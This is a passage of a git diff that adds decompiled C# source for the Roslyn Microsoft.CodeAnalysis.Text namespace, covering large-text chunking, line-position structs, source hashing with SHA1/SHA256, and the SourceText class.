= span.Length; + if (num == 0) + { + return; + } + LargeTextWriter largeTextWriter = writer as LargeTextWriter; + int num2 = GetIndexFromPosition(span.Start); + int num3 = span.Start - _chunkStartOffsets[num2]; + while (true) + { + cancellationToken.ThrowIfCancellationRequested(); + char[] array = _chunks[num2]; + int num4 = Math.Min(array.Length - num3, num); + if (largeTextWriter != null && num3 == 0 && num4 == array.Length) + { + largeTextWriter.AppendChunk(array); + } + else + { + writer.Write(array, num3, num4); + } + num -= num4; + if (num > 0) + { + num3 = 0; + num2++; + continue; + } + break; + } + } + + protected override TextLineCollection GetLinesCore() + { + return new LineInfo(this, ParseLineStarts()); + } + + private int[] ParseLineStarts() + { + int item = 0; + int num = 0; + int num2 = -1; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = _chunks.GetEnumerator(); + while (enumerator.MoveNext()) + { + char[] current = enumerator.Current; + foreach (char c in current) + { + num++; + if ((uint)(c - 14) <= 113u) + { + continue; + } + if ((uint)c <= 13u) + { + if (c != '\n') + { + if (c != '\r') + { + continue; + } + num2 = num; + } + else if (num2 == num - 1) + { + item = num; + continue; + } + } + else if (c != '\u0085' && c != '\u2028' && c != '\u2029') + { + continue; + } + instance.Add(item); + item = num; + } + } + instance.Add(item); + return instance.ToArrayAndFree(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/LargeTextWriter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/LargeTextWriter.cs new file mode 100644 index 0000000..f4774f6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/LargeTextWriter.cs @@ -0,0 +1,140 @@ +using System; +using System.Collections.Immutable; +using System.Text; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.Text; + +internal sealed class LargeTextWriter : SourceTextWriter +{ + private readonly Encoding? _encoding; + + private readonly SourceHashAlgorithm _checksumAlgorithm; + + private readonly ArrayBuilder _chunks; + + private readonly int _bufferSize; + + private char[]? _buffer; + + private int _currentUsed; + + public override Encoding Encoding => _encoding; + + public LargeTextWriter(Encoding? encoding, SourceHashAlgorithm checksumAlgorithm, int length) + { + _encoding = encoding; + _checksumAlgorithm = checksumAlgorithm; + _chunks = ArrayBuilder.GetInstance(1 + length / 40960); + _bufferSize = Math.Min(40960, length); + } + + public override SourceText ToSourceText() + { + Flush(); + return new LargeText(_chunks.ToImmutableAndFree(), _encoding, default(ImmutableArray), _checksumAlgorithm, default(ImmutableArray)); + } + + public bool CanFitInAllocatedBuffer(int chars) + { + if (_buffer != null) + { + return chars <= _buffer.Length - _currentUsed; + } + return false; + } + + public override void Write(char value) + { + if (_buffer != null && _currentUsed < _buffer.Length) + { + _buffer[_currentUsed] = value; + _currentUsed++; + } + else + { + Write(new char[1] { value }, 0, 1); + } + } + + public override void Write(string? value) + { + if (value == null) + { + return; + } + int num = value.Length; + int num2 = 0; + while (num > 0) + { + EnsureBuffer(); + int num3 = Math.Min(_buffer.Length - _currentUsed, num); + value.CopyTo(num2, _buffer, _currentUsed, num3); + _currentUsed += num3; + num2 += num3; + num -= num3; + if (_currentUsed == _buffer.Length) + { + Flush(); + } + } + } + + public override void Write(char[] chars, int index, int count) + { + if (index < 0 || index >= chars.Length) + { + throw new ArgumentOutOfRangeException("index"); + } + if (count < 0 || count > chars.Length - index) + { + throw new ArgumentOutOfRangeException("count"); + } + while (count > 0) + { + EnsureBuffer(); + int num = Math.Min(_buffer.Length - _currentUsed, count); + Array.Copy(chars, index, _buffer, _currentUsed, num); + _currentUsed += num; + index += num; + count -= num; + if (_currentUsed == _buffer.Length) + { + Flush(); + } + } + } + + internal void AppendChunk(char[] chunk) + { + if (CanFitInAllocatedBuffer(chunk.Length)) + { + Write(chunk, 0, chunk.Length); + return; + } + Flush(); + _chunks.Add(chunk); + } + + public override void Flush() + { + if (_buffer != null && _currentUsed > 0) + { + if (_currentUsed < _buffer.Length) + { + Array.Resize(ref _buffer, _currentUsed); + } + _chunks.Add(_buffer); + _buffer = null; + _currentUsed = 0; + } + } + + private void EnsureBuffer() + { + if (_buffer == null) + { + _buffer = new char[_bufferSize]; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/LinePosition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/LinePosition.cs new file mode 100644 index 0000000..e8c8101 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/LinePosition.cs @@ -0,0 +1,115 @@ +using System; +using System.Runtime.Serialization; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Text; + +[DataContract] +public readonly struct LinePosition : IEquatable, IComparable +{ + [DataMember(Order = 0)] + private readonly int _line; + + [DataMember(Order = 1)] + private readonly int _character; + + public static LinePosition Zero => default(LinePosition); + + public int Line => _line; + + public int Character => _character; + + public LinePosition(int line, int character) + { + if (line < 0) + { + throw new ArgumentOutOfRangeException("line"); + } + if (character < 0) + { + throw new ArgumentOutOfRangeException("character"); + } + _line = line; + _character = character; + } + + internal LinePosition(int character) + { + if (character < 0) + { + throw new ArgumentOutOfRangeException("character"); + } + _line = -1; + _character = character; + } + + public static bool operator ==(LinePosition left, LinePosition right) + { + return left.Equals(right); + } + + public static bool operator !=(LinePosition left, LinePosition right) + { + return !left.Equals(right); + } + + public bool Equals(LinePosition other) + { + if (other.Line == Line) + { + return other.Character == Character; + } + return false; + } + + public override bool Equals(object? obj) + { + if (obj is LinePosition) + { + return Equals((LinePosition)obj); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Line, Character); + } + + public override string ToString() + { + return Line + "," + Character; + } + + public int CompareTo(LinePosition other) + { + int line = _line; + int num = line.CompareTo(other._line); + if (num == 0) + { + line = _character; + return line.CompareTo(other.Character); + } + return num; + } + + public static bool operator >(LinePosition left, LinePosition right) + { + return left.CompareTo(right) > 0; + } + + public static bool operator >=(LinePosition left, LinePosition right) + { + return left.CompareTo(right) >= 0; + } + + public static bool operator <(LinePosition left, LinePosition right) + { + return left.CompareTo(right) < 0; + } + + public static bool operator <=(LinePosition left, LinePosition right) + { + return left.CompareTo(right) <= 0; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/LinePositionSpan.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/LinePositionSpan.cs new file mode 100644 index 0000000..ee5e261 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/LinePositionSpan.cs @@ -0,0 +1,67 @@ +using System; +using System.Runtime.Serialization; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Text; + +[DataContract] +public readonly struct LinePositionSpan : IEquatable +{ + [DataMember(Order = 0)] + private readonly LinePosition _start; + + [DataMember(Order = 1)] + private readonly LinePosition _end; + + public LinePosition Start => _start; + + public LinePosition End => _end; + + public LinePositionSpan(LinePosition start, LinePosition end) + { + if (end < start) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.EndMustNotBeLessThanStart, start, end), "end"); + } + _start = start; + _end = end; + } + + public override bool Equals(object? obj) + { + if (obj is LinePositionSpan other) + { + return Equals(other); + } + return false; + } + + public bool Equals(LinePositionSpan other) + { + if (_start.Equals(other._start)) + { + return _end.Equals(other._end); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(_start.GetHashCode(), _end.GetHashCode()); + } + + public static bool operator ==(LinePositionSpan left, LinePositionSpan right) + { + return left.Equals(right); + } + + public static bool operator !=(LinePositionSpan left, LinePositionSpan right) + { + return !left.Equals(right); + } + + public override string ToString() + { + return $"({_start})-({_end})"; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceHashAlgorithm.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceHashAlgorithm.cs new file mode 100644 index 0000000..4a4de60 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceHashAlgorithm.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Text; + +public enum SourceHashAlgorithm +{ + None, + Sha1, + Sha256 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceHashAlgorithms.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceHashAlgorithms.cs new file mode 100644 index 0000000..455a5bd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceHashAlgorithms.cs @@ -0,0 +1,64 @@ +using System; +using System.Security.Cryptography; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Text; + +internal static class SourceHashAlgorithms +{ + public const SourceHashAlgorithm Default = SourceHashAlgorithm.Sha256; + + public const SourceHashAlgorithm OpenDocumentChecksumAlgorithm = SourceHashAlgorithm.Sha256; + + private static readonly Guid s_guidSha1 = new Guid(-15198484, -21922, 19728, 135, 247, 111, 73, 99, 131, 52, 96); + + private static readonly Guid s_guidSha256 = new Guid(-2010525681, 4536, 16915, 135, 139, 119, 14, 133, 151, 172, 22); + + public static bool IsSupportedAlgorithm(SourceHashAlgorithm algorithm) + { + return algorithm switch + { + SourceHashAlgorithm.Sha1 => true, + SourceHashAlgorithm.Sha256 => true, + _ => false, + }; + } + + public static Guid GetAlgorithmGuid(SourceHashAlgorithm algorithm) + { + return algorithm switch + { + SourceHashAlgorithm.Sha1 => s_guidSha1, + SourceHashAlgorithm.Sha256 => s_guidSha256, + _ => throw ExceptionUtilities.UnexpectedValue(algorithm), + }; + } + + public static SourceHashAlgorithm GetSourceHashAlgorithm(Guid guid) + { + if (!(guid == s_guidSha256)) + { + if (!(guid == s_guidSha1)) + { + return SourceHashAlgorithm.None; + } + return SourceHashAlgorithm.Sha1; + } + return SourceHashAlgorithm.Sha256; + } + + private static HashAlgorithm CreateInstance(SourceHashAlgorithm algorithm) + { + return algorithm switch + { + SourceHashAlgorithm.Sha1 => SHA1.Create(), + SourceHashAlgorithm.Sha256 => SHA256.Create(), + _ => throw ExceptionUtilities.UnexpectedValue(algorithm), + }; + } + + public static HashAlgorithm CreateDefaultInstance() + { + return CreateInstance(SourceHashAlgorithm.Sha256); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceText.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceText.cs new file mode 100644 index 0000000..6696edd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceText.cs @@ -0,0 +1,766 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.ComponentModel; +using System.Diagnostics.CodeAnalysis; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Text; + +public abstract class SourceText +{ + internal sealed class LineInfo : TextLineCollection + { + private readonly SourceText _text; + + private readonly int[] _lineStarts; + + private int _lastLineNumber; + + public override int Count => _lineStarts.Length; + + public override TextLine this[int index] + { + get + { + if (index < 0 || index >= _lineStarts.Length) + { + throw new ArgumentOutOfRangeException("index"); + } + int start = _lineStarts[index]; + if (index == _lineStarts.Length - 1) + { + return TextLine.FromSpan(_text, TextSpan.FromBounds(start, _text.Length)); + } + int end = _lineStarts[index + 1]; + return TextLine.FromSpan(_text, TextSpan.FromBounds(start, end)); + } + } + + public LineInfo(SourceText text, int[] lineStarts) + { + _text = text; + _lineStarts = lineStarts; + } + + public override int IndexOf(int position) + { + if (position < 0 || position > _text.Length) + { + throw new ArgumentOutOfRangeException("position"); + } + int lastLineNumber = _lastLineNumber; + if (position >= _lineStarts[lastLineNumber]) + { + int num = Math.Min(_lineStarts.Length, lastLineNumber + 4); + for (int i = lastLineNumber; i < num; i++) + { + if (position < _lineStarts[i]) + { + return _lastLineNumber = i - 1; + } + } + } + int num2 = _lineStarts.BinarySearch(position); + if (num2 < 0) + { + num2 = ~num2 - 1; + } + _lastLineNumber = num2; + return num2; + } + + public override TextLine GetLineFromPosition(int position) + { + return this[IndexOf(position)]; + } + } + + private class StaticContainer : SourceTextContainer + { + private readonly SourceText _text; + + public override SourceText CurrentText => _text; + + public override event EventHandler TextChanged + { + add + { + } + remove + { + } + } + + public StaticContainer(SourceText text) + { + _text = text; + } + } + + private const int CharBufferSize = 32768; + + private const int CharBufferCount = 5; + + internal const int LargeObjectHeapLimitInChars = 40960; + + private static readonly ObjectPool s_charArrayPool = new ObjectPool(() => new char[32768], 5); + + private readonly SourceHashAlgorithm _checksumAlgorithm; + + private SourceTextContainer? _lazyContainer; + + private TextLineCollection? _lazyLineInfo; + + private ImmutableArray _lazyChecksum; + + private readonly ImmutableArray _precomputedEmbeddedTextBlob; + + private static readonly Encoding s_utf8EncodingWithNoBOM = new UTF8Encoding(encoderShouldEmitUTF8Identifier: false, throwOnInvalidBytes: false); + + public SourceHashAlgorithm ChecksumAlgorithm => _checksumAlgorithm; + + public abstract Encoding? Encoding { get; } + + public abstract int Length { get; } + + internal virtual int StorageSize => Length; + + internal virtual ImmutableArray Segments => ImmutableArray.Empty; + + internal virtual SourceText StorageKey => this; + + public bool CanBeEmbedded + { + get + { + if (_precomputedEmbeddedTextBlob.IsDefault) + { + return Encoding != null; + } + return !_precomputedEmbeddedTextBlob.IsEmpty; + } + } + + internal ImmutableArray PrecomputedEmbeddedTextBlob => _precomputedEmbeddedTextBlob; + + public abstract char this[int position] { get; } + + public virtual SourceTextContainer Container + { + get + { + if (_lazyContainer == null) + { + Interlocked.CompareExchange(ref _lazyContainer, new StaticContainer(this), null); + } + return _lazyContainer; + } + } + + public TextLineCollection Lines + { + get + { + TextLineCollection lazyLineInfo = _lazyLineInfo; + return lazyLineInfo ?? Interlocked.CompareExchange(ref _lazyLineInfo, lazyLineInfo = GetLinesCore(), null) ?? lazyLineInfo; + } + } + + protected SourceText(ImmutableArray checksum = default(ImmutableArray), SourceHashAlgorithm checksumAlgorithm = SourceHashAlgorithm.Sha1, SourceTextContainer? container = null) + { + ValidateChecksumAlgorithm(checksumAlgorithm); + if (!checksum.IsDefault && checksum.Length != CryptographicHashProvider.GetHashSize(checksumAlgorithm)) + { + throw new ArgumentException(CodeAnalysisResources.InvalidHash, "checksum"); + } + _checksumAlgorithm = checksumAlgorithm; + _lazyChecksum = checksum; + _lazyContainer = container; + } + + internal SourceText(ImmutableArray checksum, SourceHashAlgorithm checksumAlgorithm, ImmutableArray embeddedTextBlob) + : this(checksum, checksumAlgorithm) + { + if (!checksum.IsDefault && embeddedTextBlob.IsDefault) + { + _precomputedEmbeddedTextBlob = ImmutableArray.Empty; + } + else + { + _precomputedEmbeddedTextBlob = embeddedTextBlob; + } + } + + internal static void ValidateChecksumAlgorithm(SourceHashAlgorithm checksumAlgorithm) + { + if (!SourceHashAlgorithms.IsSupportedAlgorithm(checksumAlgorithm)) + { + throw new ArgumentException(CodeAnalysisResources.UnsupportedHashAlgorithm, "checksumAlgorithm"); + } + } + + public static SourceText From(string text, Encoding? encoding = null, SourceHashAlgorithm checksumAlgorithm = SourceHashAlgorithm.Sha1) + { + if (text == null) + { + throw new ArgumentNullException("text"); + } + return new StringText(text, encoding, default(ImmutableArray), checksumAlgorithm); + } + + public static SourceText From(TextReader reader, int length, Encoding? encoding = null, SourceHashAlgorithm checksumAlgorithm = SourceHashAlgorithm.Sha1) + { + if (reader == null) + { + throw new ArgumentNullException("reader"); + } + if (length >= 40960) + { + return LargeText.Decode(reader, length, encoding, checksumAlgorithm); + } + return From(reader.ReadToEnd(), encoding, checksumAlgorithm); + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public static SourceText From(Stream stream, Encoding? encoding, SourceHashAlgorithm checksumAlgorithm, bool throwIfBinaryDetected) + { + return From(stream, encoding, checksumAlgorithm, throwIfBinaryDetected, false); + } + + public static SourceText From(Stream stream, Encoding? encoding = null, SourceHashAlgorithm checksumAlgorithm = SourceHashAlgorithm.Sha1, bool throwIfBinaryDetected = false, bool canBeEmbedded = false) + { + if (stream == null) + { + throw new ArgumentNullException("stream"); + } + if (!stream.CanRead) + { + throw new ArgumentException(CodeAnalysisResources.StreamMustSupportReadAndSeek, "stream"); + } + ValidateChecksumAlgorithm(checksumAlgorithm); + encoding = encoding ?? s_utf8EncodingWithNoBOM; + if (stream.CanSeek && encoding.GetMaxCharCountOrThrowIfHuge(stream) >= 40960) + { + return LargeText.Decode(stream, encoding, checksumAlgorithm, throwIfBinaryDetected, canBeEmbedded); + } + string text = Decode(stream, encoding, out encoding); + if (throwIfBinaryDetected && IsBinary(text)) + { + throw new InvalidDataException(); + } + ImmutableArray checksum = CalculateChecksum(stream, checksumAlgorithm); + ImmutableArray embeddedTextBlob = (canBeEmbedded ? EmbeddedText.CreateBlob(stream) : default(ImmutableArray)); + return new StringText(text, encoding, checksum, checksumAlgorithm, embeddedTextBlob); + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public static SourceText From(byte[] buffer, int length, Encoding? encoding, SourceHashAlgorithm checksumAlgorithm, bool throwIfBinaryDetected) + { + return From(buffer, length, encoding, checksumAlgorithm, throwIfBinaryDetected, false); + } + + public static SourceText From(byte[] buffer, int length, Encoding? encoding = null, SourceHashAlgorithm checksumAlgorithm = SourceHashAlgorithm.Sha1, bool throwIfBinaryDetected = false, bool canBeEmbedded = false) + { + if (buffer == null) + { + throw new ArgumentNullException("buffer"); + } + if (length < 0 || length > buffer.Length) + { + throw new ArgumentOutOfRangeException("length"); + } + ValidateChecksumAlgorithm(checksumAlgorithm); + string text = Decode(buffer, length, encoding ?? s_utf8EncodingWithNoBOM, out encoding); + if (throwIfBinaryDetected && IsBinary(text)) + { + throw new InvalidDataException(); + } + ImmutableArray checksum = CalculateChecksum(buffer, 0, length, checksumAlgorithm); + ImmutableArray embeddedTextBlob = (canBeEmbedded ? EmbeddedText.CreateBlob(new ArraySegment(buffer, 0, length)) : default(ImmutableArray)); + return new StringText(text, encoding, checksum, checksumAlgorithm, embeddedTextBlob); + } + + private static string Decode(Stream stream, Encoding encoding, out Encoding actualEncoding) + { + int bufferSize = 4096; + if (stream.CanSeek) + { + stream.Seek(0L, SeekOrigin.Begin); + int num = (int)stream.Length; + if (num == 0) + { + actualEncoding = encoding; + return string.Empty; + } + bufferSize = Math.Min(4096, num); + } + using StreamReader streamReader = new StreamReader(stream, encoding, detectEncodingFromByteOrderMarks: true, bufferSize, leaveOpen: true); + string result = streamReader.ReadToEnd(); + actualEncoding = streamReader.CurrentEncoding; + return result; + } + + private static string Decode(byte[] buffer, int length, Encoding encoding, out Encoding actualEncoding) + { + actualEncoding = TryReadByteOrderMark(buffer, length, out var preambleLength) ?? encoding; + return actualEncoding.GetString(buffer, preambleLength, length - preambleLength); + } + + internal static bool IsBinary(ReadOnlySpan text) + { + int num = 1; + while (num < text.Length) + { + if (text[num] == '\0') + { + if (text[num - 1] == '\0') + { + return true; + } + num++; + } + else + { + num += 2; + } + } + return false; + } + + internal static bool IsBinary(string text) + { + return IsBinary(text.AsSpan()); + } + + public abstract void CopyTo(int sourceIndex, char[] destination, int destinationIndex, int count); + + internal void CheckSubSpan(TextSpan span) + { + if (span.End > Length) + { + throw new ArgumentOutOfRangeException("span"); + } + } + + public virtual SourceText GetSubText(TextSpan span) + { + CheckSubSpan(span); + int length = span.Length; + if (length == 0) + { + return From(string.Empty, Encoding, ChecksumAlgorithm); + } + if (length == Length && span.Start == 0) + { + return this; + } + return new SubText(this, span); + } + + public SourceText GetSubText(int start) + { + if (start < 0 || start > Length) + { + throw new ArgumentOutOfRangeException("start"); + } + if (start == 0) + { + return this; + } + return GetSubText(new TextSpan(start, Length - start)); + } + + public void Write(TextWriter textWriter, CancellationToken cancellationToken = default(CancellationToken)) + { + Write(textWriter, new TextSpan(0, Length), cancellationToken); + } + + public virtual void Write(TextWriter writer, TextSpan span, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSubSpan(span); + char[] array = s_charArrayPool.Allocate(); + try + { + int i = span.Start; + int num; + for (int end = span.End; i < end; i += num) + { + cancellationToken.ThrowIfCancellationRequested(); + num = Math.Min(array.Length, end - i); + CopyTo(i, array, 0, num); + writer.Write(array, 0, num); + } + } + finally + { + s_charArrayPool.Free(array); + } + } + + public ImmutableArray GetChecksum() + { + if (_lazyChecksum.IsDefault) + { + using SourceTextStream stream = new SourceTextStream(this, 2048, useDefaultEncodingIfNull: true); + ImmutableInterlocked.InterlockedInitialize(ref _lazyChecksum, CalculateChecksum(stream, _checksumAlgorithm)); + } + return _lazyChecksum; + } + + internal static ImmutableArray CalculateChecksum(byte[] buffer, int offset, int count, SourceHashAlgorithm algorithmId) + { + using HashAlgorithm hashAlgorithm = CryptographicHashProvider.TryGetAlgorithm(algorithmId); + return ImmutableArray.Create(hashAlgorithm.ComputeHash(buffer, offset, count)); + } + + internal static ImmutableArray CalculateChecksum(Stream stream, SourceHashAlgorithm algorithmId) + { + using HashAlgorithm hashAlgorithm = CryptographicHashProvider.TryGetAlgorithm(algorithmId); + if (stream.CanSeek) + { + stream.Seek(0L, SeekOrigin.Begin); + } + return ImmutableArray.Create(hashAlgorithm.ComputeHash(stream)); + } + + public override string ToString() + { + return ToString(new TextSpan(0, Length)); + } + + public virtual string ToString(TextSpan span) + { + CheckSubSpan(span); + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + char[] array = s_charArrayPool.Allocate(); + int i = Math.Max(Math.Min(span.Start, Length), 0); + int num = Math.Min(span.End, Length) - i; + instance.Builder.EnsureCapacity(num); + int num2; + for (; i < Length; i += num2) + { + if (num <= 0) + { + break; + } + num2 = Math.Min(array.Length, num); + CopyTo(i, array, 0, num2); + instance.Builder.Append(array, 0, num2); + num -= num2; + } + s_charArrayPool.Free(array); + return instance.ToStringAndFree(); + } + + public virtual SourceText WithChanges(IEnumerable changes) + { + if (changes == null) + { + throw new ArgumentNullException("changes"); + } + if (!changes.Any()) + { + return this; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + try + { + int num = 0; + foreach (TextChange change in changes) + { + if (change.Span.End > Length) + { + throw new ArgumentException(CodeAnalysisResources.ChangesMustBeWithinBoundsOfSourceText, "changes"); + } + if (change.Span.Start < num) + { + if (change.Span.End <= instance2.Last().Span.Start) + { + changes = changes.Where(delegate(TextChange c) + { + TextChange textChange = c; + if (textChange.Span.IsEmpty) + { + textChange = c; + string? newText = textChange.NewText; + if (newText == null) + { + return false; + } + return newText.Length > 0; + } + return true; + }).OrderBy(delegate(TextChange c) + { + TextChange textChange = c; + return textChange.Span; + }).ToList(); + return WithChanges(changes); + } + throw new ArgumentException(CodeAnalysisResources.ChangesMustNotOverlap, "changes"); + } + int num2 = change.NewText?.Length ?? 0; + if (change.Span.Length != 0 || num2 != 0) + { + if (change.Span.Start > num) + { + SourceText subText = GetSubText(new TextSpan(num, change.Span.Start - num)); + CompositeText.AddSegments(instance, subText); + } + if (num2 > 0) + { + SourceText text = From(change.NewText, Encoding, ChecksumAlgorithm); + CompositeText.AddSegments(instance, text); + } + num = change.Span.End; + instance2.Add(new TextChangeRange(change.Span, num2)); + } + } + if (num == 0 && instance.Count == 0) + { + return this; + } + if (num < Length) + { + SourceText subText2 = GetSubText(new TextSpan(num, Length - num)); + CompositeText.AddSegments(instance, subText2); + } + SourceText sourceText = CompositeText.ToSourceText(instance, this, adjustSegments: true); + if (sourceText != this) + { + return new ChangedText(this, sourceText, instance2.ToImmutable()); + } + return this; + } + finally + { + instance.Free(); + instance2.Free(); + } + } + + public SourceText WithChanges(params TextChange[] changes) + { + return WithChanges((IEnumerable)changes); + } + + public SourceText Replace(TextSpan span, string newText) + { + return WithChanges(new TextChange(span, newText)); + } + + public SourceText Replace(int start, int length, string newText) + { + return Replace(new TextSpan(start, length), newText); + } + + public virtual IReadOnlyList GetChangeRanges(SourceText oldText) + { + if (oldText == null) + { + throw new ArgumentNullException("oldText"); + } + if (oldText == this) + { + return TextChangeRange.NoChanges; + } + return ImmutableArray.Create(new TextChangeRange(new TextSpan(0, oldText.Length), Length)); + } + + public virtual IReadOnlyList GetTextChanges(SourceText oldText) + { + int num = 0; + List list = GetChangeRanges(oldText).ToList(); + List list2 = new List(list.Count); + foreach (TextChangeRange item in list) + { + int start = item.Span.Start + num; + string newText; + if (item.NewLength > 0) + { + TextSpan textSpan = new TextSpan(start, item.NewLength); + newText = ToString(textSpan); + } + else + { + newText = string.Empty; + } + list2.Add(new TextChange(item.Span, newText)); + num += item.NewLength - item.Span.Length; + } + return list2.ToImmutableArrayOrEmpty(); + } + + internal bool TryGetLines([NotNullWhen(true)] out TextLineCollection? lines) + { + lines = _lazyLineInfo; + return lines != null; + } + + protected virtual TextLineCollection GetLinesCore() + { + return new LineInfo(this, ParseLineStarts()); + } + + private void EnumerateChars(Action action) + { + int i = 0; + char[] array = s_charArrayPool.Allocate(); + int num; + for (int length = Length; i < length; i += num) + { + num = Math.Min(length - i, array.Length); + CopyTo(i, array, 0, num); + action(i, array, num); + } + action(i, array, 0); + s_charArrayPool.Free(array); + } + + private int[] ParseLineStarts() + { + if (Length == 0) + { + return new int[1]; + } + ArrayBuilder lineStarts = ArrayBuilder.GetInstance(); + lineStarts.Add(0); + bool lastWasCR = false; + EnumerateChars(delegate(int position, char[] buffer, int length) + { + int num = 0; + if (lastWasCR) + { + if (length > 0 && buffer[0] == '\n') + { + num++; + } + lineStarts.Add(position + num); + lastWasCR = false; + } + while (num < length) + { + char c = buffer[num]; + num++; + if ((uint)(c - 14) > 113u) + { + if (c == '\r') + { + if (num < length && buffer[num] == '\n') + { + num++; + } + else if (num >= length) + { + lastWasCR = true; + continue; + } + } + else if (!TextUtilities.IsAnyLineBreakCharacter(c)) + { + continue; + } + lineStarts.Add(position + num); + } + } + }); + return lineStarts.ToArrayAndFree(); + } + + public bool ContentEquals(SourceText other) + { + if (this == other) + { + return true; + } + ImmutableArray lazyChecksum = _lazyChecksum; + ImmutableArray lazyChecksum2 = other._lazyChecksum; + if (!lazyChecksum.IsDefault && !lazyChecksum2.IsDefault && Encoding == other.Encoding && ChecksumAlgorithm == other.ChecksumAlgorithm) + { + return lazyChecksum.SequenceEqual(lazyChecksum2); + } + return ContentEqualsImpl(other); + } + + protected virtual bool ContentEqualsImpl(SourceText other) + { + if (other == null) + { + return false; + } + if (this == other) + { + return true; + } + if (Length != other.Length) + { + return false; + } + char[] array = s_charArrayPool.Allocate(); + char[] array2 = s_charArrayPool.Allocate(); + try + { + int num; + for (int i = 0; i < Length; i += num) + { + num = Math.Min(Length - i, array.Length); + CopyTo(i, array, 0, num); + other.CopyTo(i, array2, 0, num); + for (int j = 0; j < num; j++) + { + if (array[j] != array2[j]) + { + return false; + } + } + } + return true; + } + finally + { + s_charArrayPool.Free(array2); + s_charArrayPool.Free(array); + } + } + + internal static Encoding? TryReadByteOrderMark(byte[] source, int length, out int preambleLength) + { + if (length >= 2) + { + switch (source[0]) + { + case 254: + if (source[1] == byte.MaxValue) + { + preambleLength = 2; + return System.Text.Encoding.BigEndianUnicode; + } + break; + case byte.MaxValue: + if (source[1] == 254) + { + preambleLength = 2; + return System.Text.Encoding.Unicode; + } + break; + case 239: + if (source[1] == 187 && length >= 3 && source[2] == 191) + { + preambleLength = 3; + return System.Text.Encoding.UTF8; + } + break; + } + } + preambleLength = 0; + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceTextComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceTextComparer.cs new file mode 100644 index 0000000..753d4f2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceTextComparer.cs @@ -0,0 +1,35 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Text; + +internal class SourceTextComparer : IEqualityComparer +{ + public static readonly SourceTextComparer Instance = new SourceTextComparer(); + + public bool Equals(SourceText? x, SourceText? y) + { + if (x == null) + { + return y == null; + } + if (y == null) + { + return false; + } + return x.ContentEquals(y); + } + + public int GetHashCode(SourceText? obj) + { + if (obj == null) + { + return 0; + } + ImmutableArray checksum = obj.GetChecksum(); + int newKey = ((!checksum.IsDefault) ? Hash.CombineValues(checksum) : 0); + int newKey2 = ((obj.Encoding != null) ? obj.Encoding.GetHashCode() : 0); + return Hash.Combine(obj.Length, Hash.Combine(newKey, Hash.Combine(newKey2, ((int)obj.ChecksumAlgorithm).GetHashCode()))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceTextContainer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceTextContainer.cs new file mode 100644 index 0000000..dd2693d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceTextContainer.cs @@ -0,0 +1,10 @@ +using System; + +namespace Microsoft.CodeAnalysis.Text; + +public abstract class SourceTextContainer +{ + public abstract SourceText CurrentText { get; } + + public abstract event EventHandler TextChanged; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceTextStream.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceTextStream.cs new file 